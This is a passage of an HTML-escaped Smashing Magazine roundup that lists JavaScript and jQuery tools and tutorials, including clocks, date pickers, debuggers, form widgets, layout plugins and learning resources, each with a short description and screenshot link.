&lt;/ul&gt;&lt;div id=&quot;textadtarget&quot;&gt;&lt;div id=&quot;textad&quot;&gt;[&lt;strong&gt;Editor&#39;s note&lt;/strong&gt;: A must-have for professional Web designers and developers: &lt;em&gt;The Printed Smashing Books Bundle&lt;/em&gt; is full of practical insight for your daily work.  &lt;a href=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?oaparams=2__bannerid=2863__zoneid=68__OXLCA=1__cb=286e4a2573__oadest=https%3A%2F%2Fshop.smashingmagazine.com%2Fsmashing-book-print-bundle1.html%3Fpk_campaign%3Dsmashing_books-bundle%26pk_kwd%3Dsm-ta-02&quot; target=&quot;_self&quot;&gt;Get the bundle right away&lt;/a&gt;!]&lt;div id=&quot;beacon_286e4a2573&quot; style=&quot;left: 0px; position: absolute; top: 0px; visibility: hidden;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;0&quot; src=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/lg.php?bannerid=2863&amp;amp;campaignid=1018&amp;amp;zoneid=68&amp;amp;loc=1&amp;amp;referer=http%3A%2F%2Fcoding.smashingmagazine.com%2F2010%2F03%2F12%2F45-fresh-useful-javascript-and-jquery-techniques-and-tools%2F&amp;amp;cb=286e4a2573&quot; style=&quot;height: 0px; width: 0px;&quot; width=&quot;0&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;Calendars and Timelines&lt;/h3&gt;&lt;a href=&quot;http://www.radoslavdimov.com/jquery-plugins/jquery-plugin-digiclock/&quot;&gt;jDigiClock – Digital Clock (HTC Hero inspired)&lt;/a&gt;&lt;br /&gt;
jDigiClock is a jQuery plugin inspired from HTC Hero Clock Widget.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.radoslavdimov.com/jquery-plugins/jquery-plugin-digiclock/&quot;&gt;&lt;img alt=&quot;jDigiClock - Digital Clock (HTC Hero inspired)&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-82.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://home.comcast.net/%7Evonholdt/test/clock_slide/index.htm&quot;&gt;jQuery Sliding Clock v1.1&lt;/a&gt;&lt;br /&gt;
jQuery transpearant Slider clock with CSS sprites.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://home.comcast.net/%7Evonholdt/test/clock_slide/index.htm&quot;&gt;&lt;img alt=&quot;jQuery Sliding Clock v1.1&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-67.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://home.jongsma.org/software/js/datepicker&quot;&gt;Date / Time Picker&lt;/a&gt;&lt;br /&gt;
Note that this control is not designed to work in IE6; although it will  function correctly in most cases, the positioning of the calendar may be  way off depending on how your page is styled.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://home.jongsma.org/software/js/datepicker&quot;&gt;&lt;img alt=&quot;Date / Time Picker&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-05.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3&gt;JavaScript Debugging and Validation Tools&lt;/h3&gt;&lt;a href=&quot;http://www.mozilla.org/projects/venkman/&quot;&gt;Venkman JavaScript Debugger project page&lt;/a&gt;&lt;br /&gt;
Venkman is the code name for Mozilla’s JavaScript Debugger. Venkman aims  to provide a powerful JavaScript debugging environment for Gecko-based  browsers namely Firefox 3.x, the Netscape 7.x series of browsers,  Netscape 9.x series, Mozilla Seamonkey 1.x and Mozilla Seamonkey 2.x. It  does not include Gecko-based browsers such as K-Meleon 1.x, Galeon 2.x  and Netscape 8.x. The debugger is available as an add-on package in XPI  format. Venkman JavaScript Debugger has been provided as part of the  Mozilla install distribution since October 3rd 2001.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.mozilla.org/projects/venkman/&quot;&gt;&lt;img alt=&quot;Venkman JavaScript Debugger project page&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-14.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.my-debugbar.com/wiki/CompanionJS/HomePage&quot;&gt; CompanionJS&lt;/a&gt;&lt;br /&gt;
Companion.JS (pronounced Companion dot JS or CJS) is a Javascript debugger for IE.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.my-debugbar.com/wiki/CompanionJS/HomePage&quot;&gt;&lt;img alt=&quot; CompanionJS &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-32.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/how-to-test-your-javascript-code-with-qunit/&quot;&gt;How to Test your JavaScript Code with QUnit&lt;/a&gt;&lt;br /&gt;
QUnit is a powerful JavaScript unit testing framework that helps you to  debug code. It’s written by members of the jQuery team, and is the  official test suite for jQuery. But QUnit is general enough to test any  regular JavaScript code, and it’s even able to test server-side  JavaScript via some JavaScript engine like Rhino or V8.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/how-to-test-your-javascript-code-with-qunit/&quot;&gt;&lt;img alt=&quot;How to Test your JavaScript Code with QUnit &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-44.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://jsbin.com/&quot;&gt;JS Bin – Collaborative JavaScript Debugging&lt;/a&gt;&lt;br /&gt;
JS Bin is an open source collaborative JavaScript debugging tool.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://jsbin.com/&quot;&gt;&lt;img alt=&quot;JS Bin - Collaborative JavaScript Debugging&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-12.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3&gt;Forms, Buttons &amp;amp; Navigation&lt;/h3&gt;&lt;a href=&quot;http://tutorialzine.com/2009/10/google-wave-history-slider-jquery/&quot;&gt;Making a Google Wave History Slider&lt;/a&gt;&lt;br /&gt;
Here is shown how to  create a Google Wave-like history slider. Using it  will enable visitors to go back and forth in time to view the changes  that take  place on a comment thread.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://tutorialzine.com/2009/10/google-wave-history-slider-jquery/&quot;&gt;&lt;img alt=&quot;Making a Google Wave History Slider &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-73.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://theodin.co.uk/blog/design/fancy-radio-buttons-jquery.html&quot;&gt;Fancy Radio Buttons With jQuery&lt;/a&gt;&lt;br /&gt;
Creation of 2 mandatory option sets that a user could choose, while  hiding off the radio button inputs and using an anchor links to make it a  bit more usable.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://theodin.co.uk/blog/design/fancy-radio-buttons-jquery.html&quot;&gt;&lt;img alt=&quot;Fancy Radio Buttons With jQuery &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-62.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.tutorial9.net/web-tutorials/creative-button-animations-with-sprites-and-jquery-part-2/&quot;&gt;Creative Button Animations with Sprites and JQuery&lt;/a&gt;&lt;br /&gt;
Fading hover effect for which the transition is smoothed with JavaScript, using jQuery library.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.tutorial9.net/web-tutorials/creative-button-animations-with-sprites-and-jquery-part-2/&quot;&gt;&lt;img alt=&quot;Creative Button Animations with Sprites and JQuery &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-83.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.vileworks.com/password-unmasking&quot;&gt;Password (un)Masking&lt;/a&gt;&lt;br /&gt;
JavaScript jQuery that toggles the masking and unmasking of the password  field.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.vileworks.com/password-unmasking&quot;&gt;&lt;img alt=&quot;Password (un)Masking &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-68.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://css-tricks.com/jquery-magicline-navigation/&quot;&gt;jQuery MagicLine Navigation&lt;/a&gt;&lt;br /&gt;
These “sliding” style navigation bars have been around a while, and  turns out it’s really pretty darn easy. Here are put two examples  together.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://css-tricks.com/jquery-magicline-navigation/&quot;&gt;&lt;img alt=&quot;jQuery MagicLine Navigation &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-49.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://tympanus.net/codrops/2009/12/11/fixed-fade-out-menu-a-css-and-jquery-tutorial/&quot;&gt;Fixed Fade Out Menu: A CSS and jQuery Tutorial&lt;/a&gt;&lt;br /&gt;
The aim is to have a fixed navigation that follows the user when he  scrolls, and only subtly showing itself by fading out and becoming  almost transparent. When the user hovers over it, the menu then becomes  opaque again.  Inside of the navigation we will have some links, a  search input and a top and bottom button that let the user navigate to  the top or the bottom of the page.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://tympanus.net/codrops/2009/12/11/fixed-fade-out-menu-a-css-and-jquery-tutorial/&quot;&gt;&lt;img alt=&quot;Fixed Fade Out Menu: A CSS and jQuery Tutorial &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-52.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://cssglobe.com/post/7161/jquery-plugin-simplest-twitterlike-dynamic-character-count-for-textareas&quot;&gt;jQuery plugin: Simplest Twitter-like dynamic character count for textareas and input fields&lt;/a&gt;&lt;br /&gt;
The best way to explain what this plugin does is to mention Twitter.  Twitter posts are limited to 140 characters. While typing the Twitter  post there is this always present information about how many characters  the users have before reaching the limit. The information is not only  provided merely by displaying a number, there are different colors  applied to certain stages to notify the user about the status.&lt;br /&gt;
&lt;a href=&quot;http://www.csskarma.com/blog/sliding-labels-v2/&quot;&gt;Sliding Labels v2&lt;/a&gt;&lt;br /&gt;
Form label keeping the label inline, but sliding it off to the left rather than going away on click.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.csskarma.com/blog/sliding-labels-v2/&quot;&gt;&lt;img alt=&quot;Writing Efficient JavaScript&quot; height=&quot;100&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/03/javascript-techniques-87.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://demos.usejquery.com/ketchup-plugin/index.html&quot;&gt;Ketchup Plugin&lt;/a&gt;&lt;br /&gt;
Ketchup is a slim jQuery Plugin that validates your forms. It aims to be  very flexible and extendable for its appearance and functionality.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://demos.usejquery.com/ketchup-plugin/index.html&quot;&gt;&lt;img alt=&quot;Ketchup Plugin&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-84.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3&gt;Layout tools&lt;/h3&gt;&lt;a href=&quot;http://www.kromosome.net/cssdesignergrid/&quot;&gt;jQuery {css}designerGrid Plugin&lt;/a&gt;&lt;br /&gt;
{css} designerGrid is A jQuery Plugin developed for website interface  developers who use the grid system of layout. {css} designerGrid is  intended to assist these developers with CSS prototyping.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.kromosome.net/cssdesignergrid/&quot;&gt;&lt;img alt=&quot;jQuery {css}designerGrid Plugin&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-80.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://code.google.com/p/css-template-layout/&quot;&gt; css-template-layout&lt;/a&gt;&lt;br /&gt;
JavaScript (jQuery) implementation of the CSS Template Layout Module&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://code.google.com/p/css-template-layout/&quot;&gt;&lt;img alt=&quot;  css-template-layout &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-33.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://blog.creativityden.com/fluid-grid-using-jquery/&quot;&gt;How to create a fluid grid with jQuery&lt;/a&gt;&lt;br /&gt;
Grid-based layout is probably the more preferred way to style up a  webpage to give it more magazine-like look and feel. This tutorial is  about how to use CSS and Javascript to create a fluid grid-based layout  (See demo here). The algorithm/procedure used in this tutorial is very  simple and straightforward. There are more advanced algorithms out there  which can handle multiple scenarios. But the purpose is to understand  the basic logic on how to create such layout. So here it goes…&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://blog.creativityden.com/fluid-grid-using-jquery/&quot;&gt;&lt;img alt=&quot;How to create a fluid grid with jQuery&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-51.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://code.google.com/p/closure-templates/&quot;&gt;closure-templates&lt;/a&gt;&lt;br /&gt;
Closure Templates are a client- and server-side templating system that  helps you dynamically build reusable HTML and UI elements. They are easy  to learn and customizable to fit your application’s needs. Closure  Templates support JavaScript and Java and use a data model and  expression syntax that works for either language. You can also use the  built-in message support to easily localize your applications.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://code.google.com/p/closure-templates/&quot;&gt;&lt;img alt=&quot;  closure-templates &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-46.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3&gt;Useful jQuery Plugins&lt;/h3&gt;&lt;a href=&quot;http://code.drewwilson.com/entry/tiptip-jquery-plugin&quot;&gt;TipTip jQuery Plugin&lt;/a&gt;&lt;br /&gt;
TipTip detects the edges of the browser window and will make sure the  tooltip stays within the current window size. As a result the tooltip  will adjust itself to be displayed above, below, to the left or to the  right of the element with TipTip applied to it, depending on what is  necessary to stay within the browser window. TipTip is a very  lightweight and intelligent custom tooltip jQuery plugin. It uses ZERO  images and is completely customizable via CSS. It’s also only 3.5kb  minified!&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://code.drewwilson.com/entry/tiptip-jquery-plugin&quot;&gt;&lt;img alt=&quot;TipTip jQuery Plugin&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-65.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://fredhq.com/projects/roundabout/&quot;&gt;jQuery Roundabout&lt;/a&gt;&lt;br /&gt;
Roundabout is a jQuery plugin that converts a structure of static HTML  elements into a highly customizable turntable-like interactive area.  (And now, not just turntables, but many shapes!)&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://fredhq.com/projects/roundabout/&quot;&gt;&lt;img alt=&quot;jQuery Roundabout&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-69.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://jparse.kylerush.net/&quot;&gt;jParse – jQuery XML Parse Plugin&lt;/a&gt;&lt;br /&gt;
jParse is a jQuery plugin that allows you to parse XML that was fetched  with the jQuery .ajax method (making it fully customizable).&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://jparse.kylerush.net/&quot;&gt;&lt;img alt=&quot;jParse - jQuery XML Parse Plugin&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-72.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://razorjack.net/quicksand/&quot;&gt;jQuery Quicksand plugin&lt;/a&gt;&lt;br /&gt;
Reorder and filter items with a nice shuffling animation.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://razorjack.net/quicksand/&quot;&gt;&lt;img alt=&quot;jQuery Quicksand plugin&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-48.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://thinkinginweb.com/sections/articles/18-11-2009-typeQuery-change-website-typography-with-jquery.aspx&quot;&gt; typeQuery, change website typography with jquery&lt;/a&gt;&lt;br /&gt;
typeQuery  gives the flexibility to change the font-family for everything you  define with class, id, or tag, this example is referring to the selected  item on a select object with id=”tag” and the font-family value at  select object with id=”family”: &lt;code&gt;$($(&quot;#tag&quot;).val()).css(&quot;font-family&quot;, $(&quot;#family&quot;).val());&lt;/code&gt;&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://thinkinginweb.com/sections/articles/18-11-2009-typeQuery-change-website-typography-with-jquery.aspx&quot;&gt;&lt;img alt=&quot; typeQuery, change website typography with jquery&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-70.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://lab.smashup.it/flip/&quot;&gt;Flip! A jQuery plugin v0.9.9&lt;/a&gt;&lt;br /&gt;
Flip is a jQuery plugin that will flip easily your elements in four directions.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://lab.smashup.it/flip/&quot;&gt;&lt;img alt=&quot;Flip! A jQuery plugin v0.9.9&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-55.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.webresourcesdepot.com/data-encryption-with-javascript-jcryption/&quot;&gt;Data Encryption With JavaScript: jCryption&lt;/a&gt;&lt;br /&gt;
jCryption is a jQuery plugin for encrypting POST/GET data submitted by  forms.  It uses public-key algorithm of RSA for the encryption &amp;amp; has  a PHP file for handling the decryption of data.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.webresourcesdepot.com/data-encryption-with-javascript-jcryption/&quot;&gt;&lt;img alt=&quot;Data Encryption With JavaScript: jCryption&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-24.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://trif3cta.com/blog/entry/jquery-plugins-under-4k/&quot;&gt;Minimalist jQuery: 11 useful plugins under 4K&lt;/a&gt;&lt;br /&gt;
jQuery makes our lives easier. So much so that it’s tempting to use it   all the time, inadvertently slowing our page load times (cue &lt;a href=&quot;http://developer.yahoo.com/yslow/&quot;&gt;YSlow&lt;/a&gt; and &lt;a href=&quot;http://stevesouders.com/hammerhead/&quot;&gt;Hammerhead&lt;/a&gt;).  Combining,  compressing, and delivering scripts at the end of your page  helps in the  HTTP request department. On the file size front, below  are jQuery  plugins that give solid bang for your performance buck.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://trif3cta.com/blog/entry/jquery-plugins-under-4k/&quot;&gt;&lt;img alt=&quot;Minimalist jQuery: 11 useful plugins under 4K &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-79.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://jscott.me/jquery.undoable.html&quot;&gt;Undo/Redo in jQuery&lt;/a&gt;&lt;br /&gt;
An easy-to-use plugin for adding undo/redo capabilities to a jQuery  application. It is based loosely on the Objective-C/Cocoa way of doing  things.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://jscott.me/jquery.undoable.html&quot;&gt;&lt;img alt=&quot; Undo/Redo in jQuery &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-81.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://code.google.com/p/editease/&quot;&gt;editease&lt;/a&gt;&lt;br /&gt;
editEase – jQuery CMS | no fuss, no database, no worries&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://code.google.com/p/editease/&quot;&gt;&lt;img alt=&quot;  editease&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-78.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.jgc.org/blog/2009/10/what-is-jshub.html&quot;&gt;jsHub&lt;/a&gt;&lt;br /&gt;
jsHub is a single piece of JavaScript (a “tag”) that can handle reading  different sorts of page information and then send them to many different  vendors’ products. One piece of code to send to Google Analytics,  Omniture SiteCatalyst, WebTrends and Mixpanel.  Instead of one piece of  JavaScript per vendor, jsHub has a single piece of code (the “hub”) and  plugins that know how to translate into the required wire protocol for  each vendor. Vendors only maintain the plugin for their product.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.jgc.org/blog/2009/10/what-is-jshub.html&quot;&gt;&lt;img alt=&quot;What is jsHub?&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-22.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h3&gt;Educational JavaScript Resources and Tutorials&lt;/h3&gt;&lt;a href=&quot;http://justin.harmonize.fm/index.php/2009/09/an-introduction-to-javascripts-this/&quot;&gt;Caffeinated Simpleton &lt;/a&gt;&lt;br /&gt;
JavaScript is an amazing little language, but it’s got some quirks that turn a lot of people off. One of those quirks is &lt;code&gt;this&lt;/code&gt;, and how it’s not necessarily what you expect it to be. &lt;code&gt;this&lt;/code&gt;  isn’t that complicated, but there are very few explanations of how it  works on the internet. This article is an attempt to explain how &lt;code&gt;this&lt;/code&gt; works and how to use it properly.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://justin.harmonize.fm/index.php/2009/09/an-introduction-to-javascripts-this/&quot;&gt;&lt;img alt=&quot;Caffeinated Simpleton  &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-07.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2009/08/01/what-you-need-to-know-about-javascript-scope/&quot;&gt;What You Need To Know About JavaScript Scope&lt;/a&gt;&lt;br /&gt;
This article discusses how JavaScript handles scope and how various  JavaScript libraries provide methods for dealing with it and how they  smooth out a few bumps. We’ll also look at how you can get back to  basics and do some interesting scope wrangling without a library, a  useful approach if you’re writing code that needs to stand alone.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.smashingmagazine.com/2009/08/01/what-you-need-to-know-about-javascript-scope/&quot;&gt;&lt;img alt=&quot;What You Need To Know About JavaScript Scope &quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-25.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://ejohn.org/apps/learn/&quot;&gt;Learning Advanced JavaScript&lt;/a&gt;&lt;br /&gt;
A very nice tutorial to learn JavaScript, containing code and discussion  from the upcoming book Secrets of the JavaScript Ninja by John Resig.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://ejohn.org/apps/learn/&quot;&gt;&lt;img alt=&quot;Learning Advanced JavaScript&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-30.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.brucelawson.co.uk/2010/highlight-search-terms-automagically-with-javascript-and-mark/&quot;&gt;Highlight search terms automagically with JavaScript and mark&lt;/a&gt;&lt;br /&gt;
Script surrounding the search term(s) with the &lt;code&gt;mark&lt;/code&gt; element  rather than a &lt;code&gt;span&lt;/code&gt;, although the class &lt;var&gt;searchword&lt;/var&gt; is retained in case you want to style these &lt;code&gt;mark&lt;/code&gt;s differently from  others. In the CSS, the rule &lt;code&gt;article mark &lt;/code&gt;is just added to turn it a gentle shade of pink.&lt;br /&gt;
&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/10-super-helpful-traversing-functions-in-jquery/&quot;&gt;10 Really Helpful Traversing Functions in jQuery&lt;/a&gt;&lt;br /&gt;
With jQuery, selecting HTML elements is laughably easy. But at times, we  may wish to further refine the selection, which can be a hassle when  the HTML structure is complicated. In this tutorial, we’ll explore ten  ways that we can refine and extend a set of wrapped elements that we  wish to operate upon.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/10-super-helpful-traversing-functions-in-jquery/&quot;&gt;&lt;img alt=&quot;10 Really Helpful Traversing Functions in jQuery&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-74.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.catswhocode.com/blog/using-keyboard-shortcuts-in-javascript&quot;&gt;Using keyboard shortcuts in Javascript&lt;/a&gt;&lt;br /&gt;
If you want to enhance your web app, Javascript keyboards shortcuts is  definitely something to consider. In this article, you’ll learn to use  JS keyboard shortcuts, with and without the JQuery framework.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://www.catswhocode.com/blog/using-keyboard-shortcuts-in-javascript&quot;&gt;&lt;img alt=&quot;Using keyboard shortcuts in Javascript&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-29.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://javascript.crockford.com/code.html&quot;&gt;Code Conventions for the JavaScript Programming Language&lt;/a&gt;&lt;br /&gt;
This is a set of coding conventions and rules for use in JavaScript programming.&lt;br /&gt;
&lt;div class=&quot;showcase&quot;&gt;&lt;a href=&quot;http://javascript.crockford.com/code.html&quot;&gt;&lt;img alt=&quot;Code Conventions for the JavaScript Programming Language&quot; height=&quot;300&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/02/javascript-techniques-31.jpg&quot; width=&quot;480&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.myphpetc.com/2009/03/jquery-select-element-cheat-sheet.html&quot;&gt;jQuery – Select element cheat sheet&lt;/a&gt;&lt;br /&gt;
This  cheat sheet helps you to find the index of a selected option, set the  selected option by value, set the selected option by text, insert a new  option before or after another and get the text or value of the selected  option.&lt;br /&gt;
